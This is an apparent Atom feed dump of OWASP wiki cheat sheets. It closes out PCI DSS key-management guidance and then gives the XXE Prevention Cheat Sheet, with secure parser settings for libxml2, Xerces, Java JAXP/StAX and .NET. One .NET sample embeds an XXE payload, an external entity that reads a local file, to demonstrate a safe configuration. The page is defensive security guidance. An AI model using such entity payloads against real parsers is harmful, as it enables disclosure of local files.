'''3.6.4 Periodic cryptographic key changes'''&lt;br /&gt;
&lt;br /&gt;
The PCI DSS standard mandates that keys used for encryption must be rotated at least annually. The key rotation process must remove an old key from the encryption/decryption process and replace it with a new key. All new data entering the system must encrypted with the new key. While it is recommended that existing data be rekeyed with the new key, as per the Rekey data at least every one to three years rule above, it is not clear that the PCI DSS requires this.&lt;br /&gt;
&lt;br /&gt;
'''3.6.5 Retirement or replacement of keys as deemed necessary when the integrity of the key has been weakened or keys are suspected of being compromised'''&lt;br /&gt;
&lt;br /&gt;
The key management processes must cater for archived, retired or compromised keys. The process of securely storing and replacing these keys will more than likely be covered by your processes for requirements 3.6.2, 3.6.3 and 3.6.4&lt;br /&gt;
&lt;br /&gt;
'''3.6.6 Split knowledge and establishment of dual control of cryptographic keys'''&lt;br /&gt;
&lt;br /&gt;
The requirement for split knowledge and/or dual control for key management prevents an individual user performing key management tasks such as key rotation or deletion. The system should require two individual users to perform an action (i.e. entering a value from their own OTP) which creates to separate values which are concatenated to create the final key data.&lt;br /&gt;
&lt;br /&gt;
'''3.6.7 Prevention of unauthorized substitution of cryptographic keys'''&lt;br /&gt;
&lt;br /&gt;
The system put in place to comply with requirement 3.6.6 can go a long way to preventing unauthorised substitution of key data. In addition to the dual control process you should implement strong access control, auditing and logging for key data so that unauthorised access attempts are prevented and logged.&lt;br /&gt;
&lt;br /&gt;
'''3.6.8 Requirement for cryptographic key custodians to sign a form stating that they understand and accept their key-custodian responsibilities '''&lt;br /&gt;
&lt;br /&gt;
To perform the strong key management functions we have seen in requirement 3.6 we must have highly trusted and trained key custodians who understand how to perform key management duties. The key custodians must also sign a form stating they understand the responsibilities that come with this role.&lt;br /&gt;
&lt;br /&gt;
= Related Articles  =&lt;br /&gt;
&lt;br /&gt;
OWASP - [[Testing for SSL-TLS (OWASP-CM-001)|Testing for SSL-TLS]], and OWASP [[Guide to Cryptography]] &lt;br /&gt;
&lt;br /&gt;
OWASP – [http://www.owasp.org/index.php/ASVS Application Security Verification Standard (ASVS) – Communication Security Verification Requirements (V10)]&lt;br /&gt;
ssllabs Wiki - https://github.com/ssllabs/research/wiki&lt;br /&gt;
&lt;br /&gt;
OWASP - https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Kevin Kenan - kevin[at]k2dd.com&amp;lt;br/&amp;gt;&lt;br /&gt;
David Rook - david.a.rook[at]gmail.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Kevin Wall - kevin.w.wall[at]gmail.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Manico - jim[at]owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Fred Donovan - fred.donovan(at)owasp.org &amp;lt;br/&amp;gt;&lt;br /&gt;
Tony Hsu - hsiang_chih[at]yahoo.com&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=XML_External_Entity_(XXE)_Prevention_Cheat_Sheet&amp;diff=241279</id>
		<title>XML External Entity (XXE) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=XML_External_Entity_(XXE)_Prevention_Cheat_Sheet&amp;diff=241279"/>
				<updated>2018-06-13T07:23:52Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: Add clarification&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;XML eXternal Entity&amp;lt;/i&amp;gt; injection (XXE), which is now part of the [[Top_10-2017_A4-XML_External_Entities_(XXE)| OWASP Top 10]], is a type of attack against an application that parses XML input. This attack occurs when untrusted &amp;lt;b&amp;gt;XML input containing a reference to an external entity is processed by a weakly configured XML parser&amp;lt;/b&amp;gt;. This attack may lead to the disclosure of confidential data, denial of service, [[Server Side Request Forgery]] (SSRF), port scanning from the perspective of the machine where the parser is located, and other system impacts. The following guide provides concise information to prevent this vulnerability. For more information on XXE, please visit [[XML External Entity (XXE) Processing]].&lt;br /&gt;
&lt;br /&gt;
==General Guidance==&lt;br /&gt;
The safest way to prevent XXE is always to disable DTDs (External Entities) completely. Depending on the parser, the method should be similar to the following:&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;factory.setFeature(&amp;quot;http://apache.org/xml/features/disallow-doctype-decl&amp;quot;, true);&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Disabling DTDs also makes the parser secure against denial of services (DOS) attacks such as Billion Laughs. If it is not possible to disable DTDs completely, then external entities and external document type declarations must be disabled in the way that’s specific to each parser.&lt;br /&gt;
&lt;br /&gt;
Detailed XXE Prevention guidance for a number of languages and commonly used XML parsers in those languages is provided below.&lt;br /&gt;
&lt;br /&gt;
==C/C++==&lt;br /&gt;
&lt;br /&gt;
===libxml2===&lt;br /&gt;
&lt;br /&gt;
The Enum [http://xmlsoft.org/html/libxml-parser.html#xmlParserOption xmlParserOption] should not have the following options defined:&lt;br /&gt;
&lt;br /&gt;
* XML_PARSE_NOENT: Expands entities and substitutes them with replacement text&lt;br /&gt;
* XML_PARSE_DTDLOAD: Load the external DTD&lt;br /&gt;
&lt;br /&gt;
Note: Per: https://mail.gnome.org/archives/xml/2012-October/msg00045.html, starting with libxml2 version 2.9, XXE has been disabled by default as committed by the following patch: http://git.gnome.org/browse/libxml2/commit/?id=4629ee02ac649c27f9c0cf98ba017c6b5526070f.&lt;br /&gt;
&lt;br /&gt;
===libxerces-c===&lt;br /&gt;
Use of XercesDOMParser do this to prevent XXE:&lt;br /&gt;
 XercesDOMParser *parser = new XercesDOMParser;&lt;br /&gt;
 parser-&amp;gt;setCreateEntityReferenceNodes(false);&lt;br /&gt;
&lt;br /&gt;
Use of SAXParser, do this to prevent XXE:&lt;br /&gt;
 SAXParser* parser = new SAXParser;&lt;br /&gt;
 parser-&amp;gt;setDisableDefaultEntityResolution(true);&lt;br /&gt;
&lt;br /&gt;
Use of SAX2XMLReader, do this to prevent XXE:&lt;br /&gt;
 SAX2XMLReader* reader = XMLReaderFactory::createXMLReader();&lt;br /&gt;
 parser-&amp;gt;setFeature(XMLUni::fgXercesDisableDefaultEntityResolution, true);&lt;br /&gt;
&lt;br /&gt;
==Java==&lt;br /&gt;
&lt;br /&gt;
Java applications using XML libraries are particularly vulnerable to XXE because the default settings for most Java XML parsers is to have XXE enabled. To use these parsers safely, you have to explicitly disable XXE in the parser you use. The following describes how to disable XXE in the most commonly used XML parsers for Java.&lt;br /&gt;
&lt;br /&gt;
===JAXP DocumentBuilderFactory, SAXParserFactory and DOM4J===&lt;br /&gt;
&lt;br /&gt;
DocumentBuilderFactory, SAXParserFactory and DOM4J XML Parsers can be configured using the same techniques to protect them against XXE. Only the DocumentBuilderFactory example is presented here. The JAXP DocumentBuilderFactory [http://docs.oracle.com/javase/7/docs/api/javax/xml/parsers/DocumentBuilderFactory.html#setFeature(java.lang.String,%20boolean) setFeature] method allows a developer to control which implementation-specific XML processor features are enabled or disabled. The features can either be set on the factory or the underlying XMLReader [http://docs.oracle.com/javase/7/docs/api/org/xml/sax/XMLReader.html#setFeature%28java.lang.String,%20boolean%29 setFeature] method. Each XML processor implementation has its own features that govern how DTDs and external entities are processed.&lt;br /&gt;
&lt;br /&gt;
For a syntax highlighted example code snippet using SAXParserFactory, look [https://gist.github.com/asudhakar02/45e2e6fd8bcdfb4bc3b2 here].&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;import javax.xml.parsers.DocumentBuilderFactory;&lt;br /&gt;
 import javax.xml.parsers.ParserConfigurationException; // catching unsupported features&lt;br /&gt;
 ...&lt;br /&gt;
  &lt;br /&gt;
     DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();&lt;br /&gt;
     String FEATURE = null;&lt;br /&gt;
     try {&lt;br /&gt;
       // This is the PRIMARY defense. If DTDs (doctypes) are disallowed, almost all XML entity attacks are prevented&lt;br /&gt;
       // Xerces 2 only - http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl&lt;br /&gt;
       FEATURE = &amp;quot;http://apache.org/xml/features/disallow-doctype-decl&amp;quot;;&lt;br /&gt;
       dbf.setFeature(FEATURE, true);&lt;br /&gt;
 &lt;br /&gt;
       // If you can't completely disable DTDs, then at least do the following:&lt;br /&gt;
       // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities&lt;br /&gt;
       // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities&lt;br /&gt;
       // JDK7+ - http://xml.org/sax/features/external-general-entities    &lt;br /&gt;
       FEATURE = &amp;quot;http://xml.org/sax/features/external-general-entities&amp;quot;;&lt;br /&gt;
       dbf.setFeature(FEATURE, false);&lt;br /&gt;
 &lt;br /&gt;
       // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-parameter-entities&lt;br /&gt;
       // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities&lt;br /&gt;
       // JDK7+ - http://xml.org/sax/features/external-parameter-entities    &lt;br /&gt;
       FEATURE = &amp;quot;http://xml.org/sax/features/external-parameter-entities&amp;quot;;&lt;br /&gt;
       dbf.setFeature(FEATURE, false);&lt;br /&gt;
 &lt;br /&gt;
       // Disable external DTDs as well&lt;br /&gt;
       FEATURE = &amp;quot;http://apache.org/xml/features/nonvalidating/load-external-dtd&amp;quot;;&lt;br /&gt;
       dbf.setFeature(FEATURE, false);&lt;br /&gt;
 &lt;br /&gt;
       // and these as well, per Timothy Morgan's 2014 paper: &amp;quot;XML Schema, DTD, and Entity Attacks&amp;quot;&lt;br /&gt;
       dbf.setXIncludeAware(false);&lt;br /&gt;
       dbf.setExpandEntityReferences(false);&lt;br /&gt;
  &lt;br /&gt;
       // And, per Timothy Morgan: &amp;quot;If for some reason support for inline DOCTYPEs are a requirement, then &lt;br /&gt;
       // ensure the entity settings are disabled (as shown above) and beware that SSRF attacks&lt;br /&gt;
       // (http://cwe.mitre.org/data/definitions/918.html) and denial &lt;br /&gt;
       // of service attacks (such as billion laughs or decompression bombs via &amp;quot;jar:&amp;quot;) are a risk.&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
       // remaining parser logic&lt;br /&gt;
       ...&lt;br /&gt;
       } catch (ParserConfigurationException e) {&lt;br /&gt;
             // This should catch a failed setFeature feature&lt;br /&gt;
             logger.info(&amp;quot;ParserConfigurationException was thrown. The feature '&amp;quot; +&lt;br /&gt;
                 FEATURE + &amp;quot;' is probably not supported by your XML processor.&amp;quot;);&lt;br /&gt;
             ...&lt;br /&gt;
         }&lt;br /&gt;
         catch (SAXException e) {&lt;br /&gt;
             // On Apache, this should be thrown when disallowing DOCTYPE&lt;br /&gt;
             logger.warning(&amp;quot;A DOCTYPE was passed into the XML document&amp;quot;);&lt;br /&gt;
             ...&lt;br /&gt;
         }&lt;br /&gt;
         catch (IOException e) {&lt;br /&gt;
             // XXE that points to a file that doesn't exist&lt;br /&gt;
             logger.error(&amp;quot;IOException occurred, XXE may still possible: &amp;quot; + e.getMessage());&lt;br /&gt;
             ...&lt;br /&gt;
         }&lt;br /&gt;
       DocumentBuilder safebuilder = dbf.newDocumentBuilder();&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces-j/ Xerces 1] [http://xerces.apache.org/xerces-j/features.html Features]:&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces-j/features.html#external-general-entities this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Do not include parameter entities by setting [http://xerces.apache.org/xerces-j/features.html#external-parameter-entities this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Do not include external DTDs by setting [http://xerces.apache.org/xerces-j/features.html#load-external-dtd this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces2-j/ Xerces 2] [http://xerces.apache.org/xerces2-j/features.html Features]:&lt;br /&gt;
* Disallow an inline DTD by setting [http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl this feature] to &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces2-j/features.html#external-general-entities this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Do not include parameter entities by setting [http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Do not include external DTDs by setting [http://xerces.apache.org/xerces-j/features.html#load-external-dtd this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Note: The above defenses require Java 7 update 67, Java 8 update 20, or above, because the above countermeasures for DocumentBuilderFactory and SAXParserFactory are broken in earlier Java versions, per: [http://www.cvedetails.com/cve/CVE-2014-6517/ CVE-2014-6517].'''&lt;br /&gt;
&lt;br /&gt;
===XMLInputFactory (a StAX parser)===&lt;br /&gt;
&lt;br /&gt;
[http://en.wikipedia.org/wiki/StAX StAX] parsers such as [http://docs.oracle.com/javase/7/docs/api/javax/xml/stream/XMLInputFactory.html XMLInputFactory] allow various properties and features to be set.&lt;br /&gt;
&lt;br /&gt;
To protect a Java XMLInputFactory from XXE, do this:&lt;br /&gt;
&lt;br /&gt;
 xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false); // This disables DTDs entirely for that factory&lt;br /&gt;
 xmlInputFactory.setProperty(&amp;quot;javax.xml.stream.isSupportingExternalEntities&amp;quot;, false); // disable external entities&lt;br /&gt;
&lt;br /&gt;
===TransformerFactory===&lt;br /&gt;
To protect a javax.xml.transform.TransformerFactory from XXE, do this:&lt;br /&gt;
 TransformerFactory tf = TransformerFactory.newInstance();&lt;br /&gt;
 tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, &amp;quot;&amp;quot;);&lt;br /&gt;
 tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, &amp;quot;&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
===Validator===&lt;br /&gt;
To protect a javax.xml.validation.Validator from XXE, do this:&lt;br /&gt;
 SchemaFactory factory = SchemaFactory.newInstance(&amp;quot;http://www.w3.org/2001/XMLSchema&amp;quot;);&lt;br /&gt;
 Schema schema = factory.newSchema();&lt;br /&gt;
 Validator validator = schema.newValidator();&lt;br /&gt;
 validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, &amp;quot;&amp;quot;);&lt;br /&gt;
 validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, &amp;quot;&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
===SchemaFactory===&lt;br /&gt;
To protect a javax.xml.validation.SchemaFactory from XXE, do this:&lt;br /&gt;
 SchemaFactory factory = SchemaFactory.newInstance(&amp;quot;http://www.w3.org/2001/XMLSchema&amp;quot;);&lt;br /&gt;
 factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, &amp;quot;&amp;quot;);&lt;br /&gt;
 factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, &amp;quot;&amp;quot;);&lt;br /&gt;
 Schema schema = factory.newSchema(Source);&lt;br /&gt;
&lt;br /&gt;
===SAXTransformerFactory===&lt;br /&gt;
To protect a javax.xml.transform.sax.SAXTransformerFactory from XXE, do this:&lt;br /&gt;
 SAXTransformerFactory sf = SAXTransformerFactory.newInstance();&lt;br /&gt;
 sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, &amp;quot;&amp;quot;);&lt;br /&gt;
 sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, &amp;quot;&amp;quot;);&lt;br /&gt;
 sf.newXMLFilter(Source);&lt;br /&gt;
&lt;br /&gt;
'''Note: Use of the following XMLConstants requires JAXP 1.5, which was added to Java in 7u40 and Java 8:'''&lt;br /&gt;
* javax.xml.XMLConstants.ACCESS_EXTERNAL_DTD&lt;br /&gt;
* javax.xml.XMLConstants.ACCESS_EXTERNAL_SCHEMA&lt;br /&gt;
* javax.xml.XMLConstants.ACCESS_EXTERNAL_STYLESHEET&lt;br /&gt;
&lt;br /&gt;
===XMLReader===&lt;br /&gt;
To protect a Java org.xml.sax.XMLReader from XXE, do this:&lt;br /&gt;
 XMLReader reader = XMLReaderFactory.createXMLReader();&lt;br /&gt;
 reader.setFeature(&amp;quot;http://apache.org/xml/features/disallow-doctype-decl&amp;quot;, true);&lt;br /&gt;
 reader.setFeature(&amp;quot;http://apache.org/xml/features/nonvalidating/load-external-dtd&amp;quot;, false); // This may not be strictly required as DTDs shouldn't be allowed at all, per previous line.&lt;br /&gt;
 reader.setFeature(&amp;quot;http://xml.org/sax/features/external-general-entities&amp;quot;, false);&lt;br /&gt;
 reader.setFeature(&amp;quot;http://xml.org/sax/features/external-parameter-entities&amp;quot;, false);&lt;br /&gt;
&lt;br /&gt;
===SAXReader===&lt;br /&gt;
To protect a Java org.dom4j.io.SAXReader from XXE, do this:&lt;br /&gt;
 saxReader.setFeature(&amp;quot;http://apache.org/xml/features/disallow-doctype-decl&amp;quot;, true);&lt;br /&gt;
 saxReader.setFeature(&amp;quot;http://xml.org/sax/features/external-general-entities&amp;quot;, false);&lt;br /&gt;
 saxReader.setFeature(&amp;quot;http://xml.org/sax/features/external-parameter-entities&amp;quot;, false);&lt;br /&gt;
Based on testing, if you are missing one of these, you can still be vulnerable to an XXE attack.&lt;br /&gt;
&lt;br /&gt;
===SAXBuilder===&lt;br /&gt;
To protect a Java org.jdom2.input.SAXBuilder from XXE, do this:&lt;br /&gt;
 SAXBuilder builder = new SAXBuilder();&lt;br /&gt;
 builder.setFeature(&amp;quot;http://apache.org/xml/features/disallow-doctype-decl&amp;quot;,true);&lt;br /&gt;
 builder.setFeature(&amp;quot;http://xml.org/sax/features/external-general-entities&amp;quot;, false);&lt;br /&gt;
 builder.setFeature(&amp;quot;http://xml.org/sax/features/external-parameter-entities&amp;quot;, false);&lt;br /&gt;
 Document doc = builder.build(new File(fileName));&lt;br /&gt;
&lt;br /&gt;
===JAXB Unmarshaller===&lt;br /&gt;
Since a javax.xml.bind.Unmarshaller parses XML and does not support any flags for disabling XXE, it’s imperative to parse the untrusted XML through a configurable secure parser first, generate a source object as a result, and pass the source object to the Unmarshaller. For example:&lt;br /&gt;
&lt;br /&gt;
 SAXParserFactory spf = SAXParserFactory.newInstance();&lt;br /&gt;
 spf.setFeature(&amp;quot;http://xml.org/sax/features/external-general-entities&amp;quot;, false);&lt;br /&gt;
 spf.setFeature(&amp;quot;http://xml.org/sax/features/external-parameter-entities&amp;quot;, false);&lt;br /&gt;
 spf.setFeature(&amp;quot;http://apache.org/xml/features/nonvalidating/load-external-dtd&amp;quot;, false);&lt;br /&gt;
&lt;br /&gt;
 Source xmlSource = new SAXSource(spf.newSAXParser().getXMLReader(), new InputSource(new StringReader(xml)));&lt;br /&gt;
 JAXBContext jc = JAXBContext.newInstance(Object.class);&lt;br /&gt;
 Unmarshaller um = jc.createUnmarshaller();&lt;br /&gt;
 um.unmarshal(xmlSource);&lt;br /&gt;
&lt;br /&gt;
===XPathExpression===&lt;br /&gt;
A javax.xml.xpath.XPathExpression is similar to an Unmarshaller where it can’t be configured securely by itself, so the untrusted data must be parsed through another securable XML parser first. For example:&lt;br /&gt;
 DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();			&lt;br /&gt;
 df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, &amp;quot;&amp;quot;); &lt;br /&gt;
 df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, &amp;quot;&amp;quot;); 	&lt;br /&gt;
 DocumentBuilder builder = df.newDocumentBuilder();&lt;br /&gt;
 String result = new XPathExpression().evaluate( builder.parse(new ByteArrayInputStream(xml.getBytes())) );&lt;br /&gt;
&lt;br /&gt;
===java.beans.XMLDecoder===&lt;br /&gt;
&lt;br /&gt;
The [https://docs.oracle.com/javase/8/docs/api/java/beans/XMLDecoder.html#readObject-- readObject()] method in this class is fundamentally unsafe. Not only is the XML it parses subject to XXE, but the method can be used to construct any Java object, and [http://stackoverflow.com/questions/14307442/is-it-safe-to-use-xmldecoder-to-read-document-files execute arbitrary code as described here]. And there is no way to make use of this class safe except to trust or properly validate the input being passed into it. As such, we'd strongly recommend completely avoiding the use of this class and replacing it with a safe or properly configured XML parser as described elsewhere in this cheat sheet.&lt;br /&gt;
&lt;br /&gt;
===Other XML Parsers===&lt;br /&gt;
There are many 3rd party libraries that parse XML either directly or through their use of other libraries. Please test and verify their XML parser is secure against XXE by default. If the parser is not secure by default, look for flags supported by the parser to disable all possible external resource inclusions like the examples given above. If there’s no control exposed to the outside, make sure the untrusted content is passed through a secure parser first and then passed to insecure 3rd party parser similar to how the Unmarshaller is secured.&lt;br /&gt;
&lt;br /&gt;
==== Spring Framework MVC/OXM XXE Vulnerabilities ====&lt;br /&gt;
&lt;br /&gt;
For example, some XXE vulnerabilities were found in [http://pivotal.io/security/cve-2013-4152 Spring OXM] and [http://pivotal.io/security/cve-2013-7315 Spring MVC]. The following versions of the Spring Framework are vulnerable to XXE:&lt;br /&gt;
&lt;br /&gt;
* 3.0.0 to 3.2.3 (Spring OXM &amp;amp; Spring MVC)&lt;br /&gt;
* 4.0.0.M1 (Spring OXM)&lt;br /&gt;
* 4.0.0.M1-4.0.0.M2 (Spring MVC)&lt;br /&gt;
&lt;br /&gt;
There were other issues as well that were fixed later, so to fully address these issues, Spring recommends you upgrade to Spring Framework 3.2.8+ or 4.0.2+.&lt;br /&gt;
&lt;br /&gt;
For Spring OXM, this is referring to the use of org.springframework.oxm.jaxb.Jaxb2Marshaller. Note that the CVE for Spring OXM specifically indicates that 2 XML parsing situations are up to the developer to get right, and 2 are the responsibility of Spring and were fixed to address this CVE. Here's what they say:&lt;br /&gt;
&lt;br /&gt;
 '''Two situations developers must handle:'''&lt;br /&gt;
 For a DOMSource, the XML has already been parsed by user code and that code is responsible for protecting against XXE.&lt;br /&gt;
 For a StAXSource, the XMLStreamReader has already been created by user code and that code is responsible for protecting against XXE.&lt;br /&gt;
&lt;br /&gt;
 '''The issue Spring fixed:'''&lt;br /&gt;
 &lt;br /&gt;
 For SAXSource and StreamSource instances, Spring processed external entities by default thereby creating this vulnerability.&lt;br /&gt;
 Here's an example of using a StreamSource that was vulnerable, but is now safe, if you are using a fixed version of Spring OXM or Spring MVC:&lt;br /&gt;
 &lt;br /&gt;
  org.springframework.oxm.Jaxb2Marshaller marshaller = new org.springframework.oxm.jaxb.Jaxb2Marshaller();&lt;br /&gt;
  marshaller.unmarshal(new StreamSource(new StringReader(some_string_containing_XML)); // Must cast return Object to whatever type you are unmarshalling&lt;br /&gt;
&lt;br /&gt;
So, per the [http://pivotal.io/security/cve-2013-4152 Spring OXM CVE writeup], the above is now safe. But if you were to use a DOMSource or StAXSource instead, it would be up to you to configure those sources to be safe from XXE.&lt;br /&gt;
&lt;br /&gt;
==.NET==&lt;br /&gt;
&lt;br /&gt;
The following information for XXE injection in .NET is directly from this web application of unit tests by Dean Fleming: https://github.com/deanf1/dotnet-security-unit-tests. This web application covers all currently supported .NET XML parsers, and has test cases for each demonstrating when they are safe from XXE injection and when they are not. Previously, this information was based on James Jardine's excellent .NET XXE article:  https://www.jardinesoftware.net/2016/05/26/xxe-and-net/.&lt;br /&gt;
It originally provided more recent and more detailed information than the older article from Microsoft on how to prevent XXE and XML Denial of Service in .NET: http://msdn.microsoft.com/en-us/magazine/ee335713.aspx, however, it has some inaccuracies that the web application covers.&lt;br /&gt;
&lt;br /&gt;
The following table lists all supported .NET XML parsers and their default safety levels:&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;width: 25%; align:center; text-align:left; border: 2px solid #4d953d; background-color:#F2F2F2; padding=2;&amp;quot; &lt;br /&gt;
|- style=&amp;quot;background-color: #4d953d; color: #FFFFFF;&amp;quot;&lt;br /&gt;
! XML Parser !! Safe by Default?&lt;br /&gt;
|- style=&amp;quot;background-color: #FFFFFF;&amp;quot; &lt;br /&gt;
|'''LINQ to XML'''&lt;br /&gt;
|Yes&lt;br /&gt;
|- style=&amp;quot;background-color: #FFFFFF;&amp;quot; &lt;br /&gt;
|'''XmlDictionaryReader'''&lt;br /&gt;
|Yes&lt;br /&gt;
|- style=&amp;quot;background-color: #FFFFFF;&amp;quot; &lt;br /&gt;
|'''XmlDocument'''&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|...prior to 4.5.2&lt;br /&gt;
|No&lt;br /&gt;
|-&lt;br /&gt;
|...in versions 4.5.2 +&lt;br /&gt;
|Yes&lt;br /&gt;
|- style=&amp;quot;background-color: #FFFFFF;&amp;quot; &lt;br /&gt;
| '''XmlNodeReader'''&lt;br /&gt;
| Yes&lt;br /&gt;
|- style=&amp;quot;background-color: #FFFFFF;&amp;quot; &lt;br /&gt;
| '''XmlReader'''&lt;br /&gt;
| Yes&lt;br /&gt;
|- style=&amp;quot;background-color: #FFFFFF;&amp;quot; &lt;br /&gt;
| '''XmlTextReader'''&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| ...prior to 4.5.2&lt;br /&gt;
| No&lt;br /&gt;
|-&lt;br /&gt;
|...in versions 4.5.2 +&lt;br /&gt;
|Yes&lt;br /&gt;
|- style=&amp;quot;background-color: #FFFFFF;&amp;quot; &lt;br /&gt;
| '''XPathNavigator'''&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
|...prior to 4.5.2&lt;br /&gt;
|No&lt;br /&gt;
|-&lt;br /&gt;
|...in versions 4.5.2 +&lt;br /&gt;
|Yes&lt;br /&gt;
|- style=&amp;quot;background-color: #FFFFFF;&amp;quot; &lt;br /&gt;
| '''XslCompiledTransform'''&lt;br /&gt;
| Yes&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== LINQ to XML ===&lt;br /&gt;
Both the XElement and XDocument objects in the System.Xml.Linq library are safe from XXE injection by default. XElement parses only the elements within the XML file, so DTDs are ignored altogether. XDocument has DTDs [https://github.com/dotnet/docs/blob/master/docs/visual-basic/programming-guide/concepts/linq/linq-to-xml-security.md disabled by default], and is only unsafe if constructed with a different unsafe XML parser.&lt;br /&gt;
&lt;br /&gt;
=== XmlDictionaryReader ===&lt;br /&gt;
System.Xml.XmlDictionaryReader is safe by default, as when it attempts to parse the DTD, the compiler throws an exception saying that &amp;quot;CData elements not valid at top level of an XML document&amp;quot;. It becomes unsafe if constructed with a different unsafe XML parser.&lt;br /&gt;
&lt;br /&gt;
=== XmlDocument ===&lt;br /&gt;
Prior to .NET Framework version 4.5.2, System.Xml.XmlDocument is '''unsafe''' by default. The XmlDocument object has an XmlResolver object within it that needs to be set to null in versions prior to 4.5.2. In versions 4.5.2 and up, this XmlResolver is set to null by default. The following example shows how it is made safe:&lt;br /&gt;
 static void LoadXML()&lt;br /&gt;
 {&lt;br /&gt;
   string xml = &amp;quot;&amp;lt;?xml version=\&amp;quot;1.0\&amp;quot; ?&amp;gt;&amp;lt;!DOCTYPE doc &lt;br /&gt;
 	[&amp;lt;!ENTITY win SYSTEM \&amp;quot;file:///C:/Users/user/Documents/testdata2.txt\&amp;quot;&amp;gt;]&lt;br /&gt;
 	&amp;gt;&amp;lt;doc&amp;gt;&amp;amp;win;&amp;lt;/doc&amp;gt;&amp;quot;;&lt;br /&gt;
 &lt;br /&gt;
   XmlDocument xmlDoc = new XmlDocument();&lt;br /&gt;
   xmlDoc.XmlResolver = null;   // Setting this to NULL disables DTDs - Its NOT null by default.&lt;br /&gt;
   xmlDoc.LoadXml(xml);&lt;br /&gt;
   Console.WriteLine(xmlDoc.InnerText);&lt;br /&gt;
   Console.ReadLine();&lt;br /&gt;
 }&lt;br /&gt;
XmlDocument can become unsafe if you create your own nonnull XmlResolver with default or unsafe settings. If you need to enable DTD processing, instructions on how to do so safely are described in detail in the [http://msdn.microsoft.com/en-us/magazine/ee335713.aspx referenced MSDN article].&lt;br /&gt;
&lt;br /&gt;
=== XmlNodeReader ===&lt;br /&gt;
System.Xml.XmlNodeReader objects are safe by default and will ignore DTDs even when constructed with an unsafe parser or wrapped in another unsafe parser.&lt;br /&gt;
&lt;br /&gt;
=== XmlReader ===&lt;br /&gt;
